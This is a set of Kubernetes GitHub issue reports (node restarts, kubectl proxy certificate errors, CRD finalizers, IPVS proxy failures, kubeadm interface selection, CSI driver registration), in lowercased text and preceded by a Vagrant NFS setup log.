/usr/share/gems/gems/net-ssh-2.9.1/lib/net/ssh/transport/session.rb:84:in  initialize': object timeout is deprecated, use timeout.timeout instead.     master:      master: vagrant insecure key detected. vagrant will automatically replace     master: this with a newly generated keypair for better security.     master:      master: inserting generated public key within guest...     master: removing insecure key from the guest if it's present...     master: key inserted! disconnecting and reconnecting using new ssh key... /usr/share/gems/gems/net-ssh-2.9.1/lib/net/ssh/transport/session.rb:67:in  initialize': object timeout is deprecated, use timeout.timeout instead. /usr/share/gems/gems/net-ssh-2.9.1/lib/net/ssh/transport/session.rb:84:in  initialize': object timeout is deprecated, use timeout.timeout instead. ==> master: configuring and enabling network interfaces... /usr/share/vagrant/gems/gems/vagrant-libvirt-0.0.32/lib/vagrant-libvirt/action/prepare_nfs_settings.rb:80:in  ping': object timeout is deprecated, use timeout.timeout instead. ==> master: installing nfs client... ==> master: exporting nfs shared folders... ==> master: preparing to edit /etc/exports. administrator privileges will be required... redirecting to /bin/systemctl status  nfs-server.service ● nfs-server.service - nfs server and services    loaded: loaded  /usr/lib/systemd/system/nfs-server.service; enabled; vendor preset: disabled     active: active  exited  since tue 2016-08-02 12:04:14 cest; 3h 16min ago   process: 1204 execstart=/usr/sbin/rpc.nfsd $rpcnfsdargs  code=exited, status=0/success    process: 1198 execstartpre=/usr/sbin/exportfs -r  code=exited, status=0/success   main pid: 1204  code=exited, status=0/success      tasks: 0  limit: 512     memory: 0b       cpu: 0    cgroup: /system.slice/nfs-server.service  aug 02 12:04:14 nhlfr-pc.localdomain systemd 1 : starting nfs server and services... aug 02 12:04:14 nhlfr-pc.localdomain systemd 1 : started nfs server and services. ==> master: mounting nfs shared folders...      this is most probably because of lack of  vers=3  mount option. in theory, vagrant should pick up the ver 3 by default, but in practice, vagrant on fedora is always failing without this option provided explicitly in vagrantfile.

hi, i coordinate go releases.\r \r go 1.8beta1 is out now.\r \r this is a request for kubernetes to test it now, sooner than later. the later you test, the harder and/or less likely we're able to fix bugs.\r \r   go 1.8 announcement email: https://groups.google.com/d/msg/golang-announce/wgv6ngcntlq/jtov10rwbgaj\r   go 1.8 release notes: https://beta.golang.org/doc/go1.8\r \r we expect go 1.8beta2 to be out next week, and the release candidate to be out jan 1st  per https://github.com/golang/go/wiki/go-release-cycle .\r \r could somebody run the kubernetes tests with go 1.8beta1 in the next week or two? at minimum, just the tests. performance tests would be a bonus.\r \r thanks!\r \r /cc @jessfraz who did  35716 recently.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : restart node\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :\r    \r $ cat /etc/os-release \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel    e.g.  uname -a  :  linux ip-172-20-34-246 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux \r -   install tools  : kops  version 1.6.0-beta.1  git-77f222d  \r -   others  :\r \r \r   what happened  :\r \r as mentioned  here  https://github.com/kubernetes/kubernetes/issues/44080  i need to restart a node as part of the gpu nvidia driver installation process.\r \r however, when doing a restart  either via  /sbin/shutdown -r  or via the aws ui , the node never seems to come back into the k8s cluster  it never shows up in the output of  kubectl get nodes   ... unless ... i kill the api server pod, e.g:\r \r    \r $kubectl --namespace=kube-system delete po/kube-apiserver-ip-1-2-3-4.us-west-2.compute.internal\r    \r \r it takes ~2-3 min for the node to show up again ... but it does show up under the output of  kubectl get nodes \r \r i don't think its just a matter of waiting. i've waited an hour after a restart and the node never re-appeared. it seems i must kill the api-server pod for the node to get detected again.\r \r   what you expected to happen  :\r \r after a node restart, the node would appear ready and part of the k8s cluster according to  kubectl get nodes \r \r   how to reproduce it    as minimally and precisely as possible :\r \r i believe its a matter of just restarting any vm. i've only tested on aws though.\r \r   anything else we need to know  :\r \r

47881 breaks several things\r \r 1  the api endpoint is hardcoded in multiple places of the cloud provider.\r 2  api endpoint is only used for main client, not the beta client which is used simultaneously. \r 2  the api endpoint flag specifies alpha/beta/v1; however, we have two gce clients  v1 and beta . how does that work?\r \r /assign @cadmuxe

is this a bug report or feature request?  : bug report\r \r  \r \r   what happened  : cannot use  kubectl proxy  from a remote machine with a cluster set up using  kubeadm ; receive the error  starting to serve on 127.0.0.1:8001i0709 20:48:16.424033    4250 logs.go:41  http: proxy error: x509: certificate is valid for  several internal ips , not  external ip used to access the cluster master  . note that  kubectl proxy  on the master machine itself works fine.\r \r   what you expected to happen  : i expect  kubectl proxy  to work.\r \r   how to reproduce it  as minimally and precisely as possible   : created a cluster with  kubeadm  following the official guide installed with calico. kube version is 1.7.0, docker version is 1.13 because i could not get 1.12 from the package repo. ubuntu 16.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.0\r - cloud provider or hardware configuration  : on azure, but set up manually using  kubeadm .\r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : linux k8s-master-58998207-0 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

with the addition of dynamic admission controllers and  initializers  https://kubernetes.io/docs/admin/extensible-admission-controllers/ what-are-initializers , it's very likely that users will create deployments but their  kubectl get pods  output will not show any pods being created because it's stuck at some initializer.\r \r kubectl should provide a way to query resources that are pending initialization as well   ?includeuninitialized=true  . currently the only way is to query them via the api manually.\r \r perhaps a  kubectl get <resource> --show-uninitialized  would help.\r \r  

create a crd   kubectl create -f  :\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:  \r   name: databases.example.com\r spec:\r   group: example.com\r   version: v1\r   names:\r     kind: database\r     plural: databases\r     scope: namespaced\r    \r \r and a cr    kubectl create -f  :\r    \r apiversion: example.com/v1\r kind: database\r metadata:\r   name: wordpress\r spec:\r   user: wp\r   password: secret\r   encoding: unicode\r    \r \r then add a finalizer:    kubectl edit database wordpress    by changing it to:\r    \r apiversion: example.com/v1\r kind: database\r metadata:\r   name: wordpress\r   ...\r   finalizers:\r   - foo\r spec:\r   ...\r    \r \r delete the resource:\r    \r $ kubectl delete database wordpress\r    \r \r the resource is gone, but shouldn't.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r >  \r \r   what happened  :\r \r i have jenkins service deployed to a it's own namespace. i have jnlp service deployed to it's own namespace as well but when i am trying to interpolate the kubernetes generated env variables of jenkins service in deployment  args  of jnlp, the interpolation is not behaving as expected.\r \r   what you expected to happen  :\r \r the args supplied to the container must interpolate variables.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy pod a.\r 2. in deployment of pod b, where the args are defined for the containers entrypoint, get kubernetes generated env variables of pod a.\r \r   anything else we need to know?  :\r \r this is the deployment of jnlp pod,\r \r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: dp-jnlp\r   namespace: jnlp\r   labels:\r     app: slave\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: slave\r   template:\r     metadata:\r       labels:\r         app: slave\r       annotations:\r         description: deploy jnlp service to kubernetes\r         tags: slave\r     spec:\r       imagepullsecrets:\r         - name: quay\r       containers:\r         - name: jnlp\r           imagepullpolicy: always\r           image: quay/jenkins-jnlp:latest\r           args:  \ -master http://${svc_jenkins_service_host}:${svc_jenkins_service_port} -tunnel ${svc_jnlp_service_host}:${svc_jnlp_service_port} -executors 0 -username 'xxx' -password 'xxx'\  \r           volumemounts:\r             - mountpath: /var/jenkins_home\r               name: jnlp-slave-data\r       volumes:\r         - name: jnlp-slave-data\r           emptydir: {}\r    \r \r here are the env variables seen inside jenkins pod,\r \r    \r jenkins_slave_agent_port=50000\r svc_jenkins_service_host=10.233.17.99\r svc_jenkins_port=tcp://10.233.17.99:80\r lang=c.utf-8\r hostname=dp-jenkins-6df5dbfb9b-9jq7x\r jenkins_uc=https://updates.jenkins.io\r vault_token=xxxxxxxx\r java_home=/docker-java-home\r tini_sha=6c41ec7d33e857d4779f14d9c74924cab0c7973485d2972419a3b7c7620ff5fd\r tini_version=0.14.0\r kubernetes_port_443_tcp_proto=tcp\r kubernetes_port_443_tcp_addr=10.233.0.1\r java_version=8u151\r svc_jenkins_service_port_http=80\r kubernetes_port=tcp://10.233.0.1:443\r pwd=/\r home=/var/jenkins_home\r copy_reference_file_log=/var/jenkins_home/copy_reference_file.log\r jenkins_ref=/usr/share/jenkins/ref\r jenkins_home=/var/jenkins_home\r kubernetes_service_port_https=443\r kubernetes_port_443_tcp_port=443\r svc_jenkins_service_port=80\r ca_certificates_java_version=20170531+nmu1\r svc_jenkins_port_80_tcp_proto=tcp\r java_debian_version=8u151-b12-1~deb9u1\r kubernetes_port_443_tcp=tcp://10.233.0.1:443\r svc_jenkins_port_80_tcp_port=80\r term=xterm\r vault_addr=http://vault.example.com\r shlvl=1\r kubernetes_service_port=443\r svc_jenkins_port_80_tcp_addr=10.233.17.99\r jenkins_uc_experimental=https://updates.jenkins.io/experimental\r path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r jenkins_version=2.63\r kubernetes_service_host=10.233.0.1\r svc_jenkins_port_80_tcp=tcp://10.233.17.99:80\r _=/usr/bin/env\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1+coreos.0\ , gitcommit:\ 59359d9fdce74738ac9a672d2f31e9a346c5cece\ , gittreestate:\ clean\ , builddate:\ 2017-10-12t21:53:13z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r vsphere\r    \r \r - os  e.g. from /etc/os-release :\r    \r ubuntu 16.04\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux dp-jenkins-6df5dbfb9b-9jq7x 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  start kube proxy as following:\r    \r         \ name\ : \ proxy\ ,\r         \ image\ : \ kubernetes:v1.8.2\ ,\r         \ imagepullpolicy\ : \ ifnotpresent\ ,\r         \ command\ :  \r           \ /hyperkube\ ,\r           \ proxy\ ,\r           \ --kubeconfig=/var/lib/kubelet/kube-proxy-config\ ,\r           \ --hostname-override=9.111.255.91\ ,\r           \ --feature-gates=supportipvsproxymode=true\ ,\r           \ --proxy-mode=ipvs\ ,\r           \ --ipvs-min-sync-period=5s\ ,\r           \ --ipvs-sync-period=5s\ ,\r           \ --ipvs-scheduler=rr\ ,\r           \ --cluster-cidr=10.1.0.0/16\ \r          ,\r    \r \r 2  create an deployment as following:\r    \r  root@gyliu-icp-1 gyliu   cat n.yaml\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r spec:\r   ports:\r   - name: nginx\r     port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     run: my-nginx\r   type: nodeport\r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: my-nginx\r   template:\r     metadata:\r       labels:\r         run: my-nginx\r     spec:\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: my-nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r 3  create the deployment and service, got error log in kubelet\r \r    \r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.alpha.kubernetes.io/notready:noexecute for 300s\r                  node.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                from                   message\r   ----     ------                  ----               ----                   -------\r   normal   scheduled               21m                default-scheduler      successfully assigned my-nginx-54d9957dd5-mbgmf to 9.111.255.91\r   normal   successfulmountvolume   21m                kubelet, 9.111.255.91  mountvolume.setup succeeded for volume \ default-token-r4xk9\ \r   normal   sandboxchanged          17m  x8 over 21m   kubelet, 9.111.255.91  pod sandbox changed, it will be killed and re-created.\r   warning  failedcreatepodsandbox  6m  x29 over 21m   kubelet, 9.111.255.91  failed create pod sandbox.\r   warning  failedsync              1m  x38 over 21m   kubelet, 9.111.255.91  error syncing pod\r    \r \r    \r nov 20 08:17:15 gyliu-icp-3.novalocal hyperkube 30472 : calico cni checking for existing endpoint: <nil>\r nov 20 08:17:15 gyliu-icp-3.novalocal hyperkube 30472 : 2017-11-20 08:17:15.310  info  2916  k8s.go 67: extracted identifiers for cmdaddk8s node=\ gyliu-icp-3.novalocal\  orchestrator=\ k8s\  workload=\ default.my-nginx-54d9957dd5-mbgmf\ \r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : e1120 08:17:45.313551   30472 cni.go:301  error adding network: get https://10.0.0.1:443/api/v1/namespaces/default/pods/my-nginx-54d9957dd5-mbgmf: dial tcp 10.0.0.1:443: i/o timeout\r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : e1120 08:17:45.313574   30472 cni.go:250  error while adding to cni network: get https://10.0.0.1:443/api/v1/namespaces/default/pods/my-nginx-54d9957dd5-mbgmf: dial tcp 10.0.0.1:443: i/o timeout\r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : e1120 08:17:45.443562   30472 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ my-nginx-54d9957dd5-mbgmf_default\  network: get https://10.0.0.1:443/api/v1/namespaces/default/pods/my-nginx-54d9957dd5-mbgmf: dial tcp 10.0.0.1:443: i/o timeout\r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : e1120 08:17:45.443627   30472 kuberuntime_sandbox.go:54  createpodsandbox for pod \ my-nginx-54d9957dd5-mbgmf_default d400586c-cdf4-11e7-beef-fa163e4a45bf \  failed: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ my-nginx-54d9957dd5-mbgmf_default\  network: get https://10.0.0.1:443/api/v1/namespaces/default/pods/my-nginx-54d9957dd5-mbgmf: dial tcp 10.0.0.1:443: i/o timeout\r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : e1120 08:17:45.443642   30472 kuberuntime_manager.go:632  createpodsandbox for pod \ my-nginx-54d9957dd5-mbgmf_default d400586c-cdf4-11e7-beef-fa163e4a45bf \  failed: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ my-nginx-54d9957dd5-mbgmf_default\  network: get https://10.0.0.1:443/api/v1/namespaces/default/pods/my-nginx-54d9957dd5-mbgmf: dial tcp 10.0.0.1:443: i/o timeout\r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : e1120 08:17:45.443708   30472 pod_workers.go:182  error syncing pod d400586c-cdf4-11e7-beef-fa163e4a45bf  \ my-nginx-54d9957dd5-mbgmf_default d400586c-cdf4-11e7-beef-fa163e4a45bf \  , skipping: failed to \ createpodsandbox\  for \ my-nginx-54d9957dd5-mbgmf_default d400586c-cdf4-11e7-beef-fa163e4a45bf \  with createpodsandboxerror: \ createpodsandbox for pod \\\ my-nginx-54d9957dd5-mbgmf_default d400586c-cdf4-11e7-beef-fa163e4a45bf \\\  failed: rpc error: code = unknown desc = networkplugin cni failed to set up pod \\\ my-nginx-54d9957dd5-mbgmf_default\\\  network: get https://10.0.0.1:443/api/v1/namespaces/default/pods/my-nginx-54d9957dd5-mbgmf: dial tcp 10.0.0.1:443: i/o timeout\ \r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : w1120 08:17:45.533202   30472 pod_container_deletor.go:77  container \ f6357693f65981026c07c116038c0d0e39a2eea8ab94120158033cee2a37624f\  not found in pod's containers\r nov 20 08:17:45 gyliu-icp-3.novalocal hyperkube 30472 : w1120 08:17:45.835335   30472 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ f6357693f65981026c07c116038c0d0e39a2eea8ab94120158033cee2a37624f\ \r    \r \r    \r  root@gyliu-icp-1 gyliu   curl 10.0.0.1:443\r \r  root@gyliu-icp-1 gyliu  \r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /cc @m1093782566 \r

 \r \r   what happened  :\r \r when i want to enable both plugins by passing below flag, as they both need config file, and i find i donot know what to set  --admission-control-config-file \r    \r --admission-control=imagepolicywebhook,mutatingadmissionwebhook\r    \r \r if i set   --admission-control-config-file=admission-config.json , then i get an error in apiserver\r  error: failed to initialize admission: failed to read plugin config: couldn't get version/kind; json parse error: invalid character '/' looking for beginning of object key string \r    bash\r root@szx1000353068:/mnt/go/src/k8s.io/kubernetes  cat admission-config.json\r {\r   \ imagepolicy\ : {\r      \ kubeconfigfile\ : \ path/to/kubeconfig/for/backend\ ,\r      \ allowttl\ : 50,\r      \ denyttl\ : 50, \r      \ retrybackoff\ : 500, \r      \ defaultallow\ : true\r   }\r }\r

 \r /network\r \r   what happened  :\r \r i have 16 servers with two interfaces, one 1gb/s with external ip for remote connection. one 10gb/s with internal ip for data communcation. i want to create k8s cluster on the nic with private/internal ip address, but it always create the network on the nic with external ip address.\r \r   what you expected to happen  :\r \r i expect to create the cluster on the 10gb/s nic with internal ip address\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r sudo kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.0.151  --kubernetes-version=v1.11.2\r \r it will shows:\r \r .....\r .....\r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join 192.168.0.151:6443 --token csobw3.qs35fz0n6qlw1al4 --discovery-token-ca-cert-hash sha256:c9e6234a59b57e6ae92f719aed4a1c88c978427b2410d61505a9d0fe4ebc94c4\r \r but when i use kubectl get nodes -o wide to check the nodes, it lists\r \r name      status     roles     age       version   internal-ip      external-ip   os-image             kernel-version      container-runtime\r aether    notready   master    3m        v1.11.2   131.155.34.    <none>        ubuntu 16.04.4 lts   4.13.0-36-generic   docker://17.3.0\r \r it is on the 131.155.34. , rather than 192.168.0.55.\r \r   anything else we need to know?  :\r  i tried to use kubeadm reset, the resutls are the same.\r \r   environment  :\r - kubernetes version  use  kubectl version  :   \ v1.11.2\ \r - cloud provider or hardware configuration:   dell poweredge r230\r - os  e.g. from /etc/os-release :                      ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :                               4.13.0-36-generic                         \r - install tools:                                                 i use ansible to install kubeadm, kubelet and kubectl\r - others:\r \r thanks a lot.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r i received this error when starting my csi driver without correctly setting up the socket with kubelet\r    \r i1018 15:45:18.043702       1 node_register.go:63  csi driver node id: \ tlx200\ \r i1018 15:45:18.043797       1 node_register.go:86  starting registration server at: /registration/io.daterainc.csi.dsp-reg.sock\r i1018 15:45:18.043924       1 node_register.go:93  registration server started at: /registration/io.daterainc.csi.dsp-reg.sock\r i1018 15:45:18.044654       1 main.go:111  received getinfo call: &inforequest{}\r i1018 15:45:18.051561       1 main.go:121  received notifyregistrationstatus call: &registrationstatus{pluginregistered:false,error:plugin registration failed with err: error updating csi node info in the cluster: error adding csi driver node info: drivernodeid must not be empty,}\r e1018 15:45:18.051653       1 main.go:123  registration process failed with error: plugin registration failed with err: error updating csi node info in the cluster: error adding csi driver node info: drivernodeid must not be empty, restarting registration container.\r    \r   what you expected to happen  :\r i expected the error to tell me that the socket was not found.  instead it tells me that getnodeinfo's nodeid attribute is empty.  i see in the logs that getnodeid is called just fine.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ kubectl -f create my-plugin.yaml\r    \r the yaml file is shown below.  this yaml will only function with a datera storage backend available, so the csi driver should be switched out for a hostpath driver.  the driver itself doesn't matter for reproduction.\r    \r kind: daemonset\r apiversion: apps/v1\r metadata:\r   name: csi-node\r   namespace: kube-system\r spec:\r   selector:\r     matchlabels:\r       app: csi-node\r   template:\r     metadata:\r       labels:\r         app: csi-node\r     spec:\r       serviceaccount: csi-node\r       hostnetwork: true\r       containers:\r         - name: driver-registrar\r           image: quay.io/k8scsi/driver-registrar:v0.4.1\r           args:\r             - \ --v=5\ \r             - \ --csi-address=$ dat_socket \ \r             - \ --kubelet-registration-path=$ reg_socket \ \r           env:\r             - name: dat_socket\r                value: unix:///var/lib/csi/io.daterainc.csi.dsp/csi.sock\r               value: /csi/csi.sock\r             - name: reg_socket\r               value: /var/lib/kubelet/plugins/io.daterainc.csi.dsp/csi.sock\r             - name: kube_node_name\r               valuefrom:\r                 fieldref:\r                   fieldpath: spec.nodename\r           volumemounts:\r             - name: socket-dir\r               mountpath: /csi\r             - name: registration-dir\r               mountpath: /registration\r         - name: dat-csi-plugin-node\r           image: dateraiodev/dat-csi-plugin:latest\r           env:\r             - name: dat_type\r               value: nodeident\r             - name: dat_socket\r               value: unix:///csi/csi.sock\r             - name: dat_mgmt\r               value: 172.19.1.41\r             - name: dat_user\r               valuefrom:\r                   secretkeyref:\r                       name: datera-secret\r                       key: username\r             - name: dat_pass\r               valuefrom:\r                   secretkeyref:\r                       name: datera-secret\r                       key: password\r             - name: dat_tenant\r               value: /root\r             - name: dat_api\r               value: \ 2.2\ \r           securitycontext:\r             privileged: true\r             capabilities:\r               add:  \ sys_admin\  \r             allowprivilegeescalation: true\r           imagepullpolicy: \ ifnotpresent\ \r           volumemounts:\r             - name: socket-dir\r               mountpath: /csi\r             - name: mounts\r               mountpath: /mnt\r             - name: etc-iscsi\r               mountpath: /etc/iscsi\r       volumes:\r         - name: socket-dir\r           emptydir: {}\r         - name: mounts\r           hostpath:\r             path: /mnt\r         - name: etc-iscsi\r           hostpath:\r             path: /etc/iscsi\r         - name: devices\r           hostpath:\r             path: /dev\r         - name: registration-dir\r           hostpath:\r             path: /var/lib/kubelet/plugins/\r \r    \r the main reproduction key is ensuring that volumes.socket-dir is not a valid location for kubelet.\r then check the logs for the driver-registrar container\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r minikube bare-metal\r - os  e.g. from /etc/os-release :\r ubuntu 16-04\r - kernel  e.g.  uname -a  :\r    \r linux tlx200 4.4.0-135-generic  161-ubuntu smp mon aug 27 10:45:01 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

<!--\r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r hello,\r \r my kubernetes cluster can't reach internet for security reasons, and i am afraid that one of kubernetes components try to pull image from internet.\r \r is it  possible to push kubernetes components images to a private container registry and after configure kuberntes to pull this images from it ?\r \r if yes what are the advantages and disadvantages of doing this ?\r \r images examples: \r kube-apiserver, kube-scheduler, kube-controller-manager, etcd ..\r \r i am using public container registry:\r k8s.gcr.io \r \r my kubernetes v1.10.1 cluster was installed by kubeadm\r \r \r /help\r /help-wanted\r @kubernetes/sig-contributor-experience-help-wanted\r \r thanks\r \r \r \r \r \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r - pull-kops-bazel-build\r - pull-kops-bazel-test\r - pull-kops-verify-gofmt\r \r --\r \r   since when has it been failing  :\r - pull-kops-bazel-build - last success: 2019-06-11 18:08:03 +0000 utc\r - pull-kops-bazel-test - last success: 2019-06-11 18:08:04 +0000 utc\r - pull-kops-verify-gofmt - last success: 2019-06-11 18:08:03 +0000 utc\r \r   testgrid link  :\r \r https://testgrid.k8s.io/presubmits-kops bazel-build\r https://testgrid.k8s.io/presubmits-kops bazel-test\r https://testgrid.k8s.io/presubmits-kops verify-gofmt\r \r   reason for failure  :\r \r looks like it's due to a missing flag:\r    \r error: unrecognized option: --experimental_remote_spawn_cache\r

the e2e framework  deletens  needs to be smarter to better help triage issues in this space, as they all typically tend to be unique snowflakes particular to a problem with the node, pod, container runtime itself and rarely the controller that fundamentally drives deletes.  ideas: - deletens caches the set of events in the namespace prior to invoking deletion, in cases of failure, logs all events that occurred in that namespace prior to the delete to know if there was an unexpected error event - log all pods in yaml or json in internal api version to see their state as observed from the api server to give clues as to why they are hung.  @lavalamp @smarterclayton - is there a good one liner that i can reference that takes a pod and outputs to yaml? - log all information about nodes in yaml or json format that have pods actively scheduled against them that are not terminating  would help us know if there was a node problem encountered .  input from others would be appreciated, but this seems like the general purpose issue that is often really hard to diagnose and debug during each release since we don't capture any information to help localize why the error happened.  @kubernetes/sig-api-machinery @kubernetes/rh-cluster-infra

this proposal is for an ability for configmaps to reference each other by loading data from other configmaps. this proposal is closely related to https://github.com/kubernetes/kubernetes/issues/29607 as it would use a lot of common logic addressing common problems    example      apiversion: v1 kind: configmap metadata:   name: cm1   namespace: default data:   foo: bar   fizz: buzz  --- apiversion: v1 kind: configmap metadata:   name: cm2   namespace: default data:   foo: {{  .configmap \ cm1\  .fizz }}      in the above example trying to read the key 'foo' in configmap 'cm2' would yield 'buzz'.    problems 1. how should this data be propagated? 2. how do we handle changes? 3. what about volumes?  i believe these problems are very similar to ones that we address in https://github.com/kubernetes/kubernetes/issues/29607 and would share some solutions. in both cases we need to handle changes of values that are external to the configmap. the possible solutions could be: 1. eager rerendering the configmap on every access. this is the simplest solution, but we need to examine if there are some use cases that would cause severe losses of performance. the consumers of config-maps would share a lot responsibility for efficient use of them, so the documentation should warn them. 2. notifications. this would be much harder to implement. every config map should listen to events that might mean that some of the value is changed.  please comment!

